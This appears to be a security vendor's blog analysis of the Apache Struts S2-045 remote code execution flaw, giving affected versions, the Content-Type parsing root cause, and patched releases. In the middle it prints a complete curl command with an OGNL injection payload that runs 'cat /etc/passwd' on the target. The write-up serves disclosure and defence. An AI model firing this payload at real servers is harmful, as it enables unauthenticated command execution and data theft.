Struts is an open source project of the Apache Foundation Jakarta project team, which uses MVC mode to help Java developers use J2EE to develop Web applications. At present, Struts is widely used in large-scale Internet companies, government, financial institutions and other sites, and as the development of the underlying template to use. A PoC for the same is also available here. Apache Struts officials have confirmed the vulnerability (S2-045) and classified as high risk.
Affected versions:
Apache Struts 2.3.5 – 2.3.31
Apache Struts 2.5 – 2.5.10
Vulnerability Analysis:
A remote code execution vulnerability exists in the Jakarta Multipart parser due to improper handling of the Content-Type header. An attacker can use malicious OGNL in Content-Type header to trigger this vulnerability, and then execute the system command.
Struts2 uploads using the default org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest class and by configuring the struts.multipart.parser property, you can specify a different parsing class.
As per documentation, struts.multipart.parser used by the fileUpload interceptor to handle HTTP POST requests, encoded using the MIME-type multipart/form-data, can be changed out. Currently there are two choices, jakarta and pell. The jakarta parser is a standard part of the Struts 2 framework needing only its required libraries added to a project. As from Struts version 2.3.18 a new implementation of MultiPartRequest was added – JakartaStreamMultiPartRequest. It can be used to handle large files.
For our analysis, we have used below curl command to replicate the issue.
curl -i -v -s -k -X $'GET' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0' -H $'Content-Type:%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'cat /etc/passwd\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' \ $'https://10.10.36.22:8080/struts2-blank/example/HelloWorld.action'
Above screenshot clearly shows an unauthenticated, remote attacker can execute any OS commands on the targeted system.
It is important to note that the presence of vulnerable code is enough to exploit the vulnerability. The web application doesn’t necessary need to implement file upload functionality to exploit this vulnerability.
Conclusion:
Qualys identifies this vulnerability with QID#11771. This vulnerability has been fixed Struts 2.3.32 and 2.5.10.1 .
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.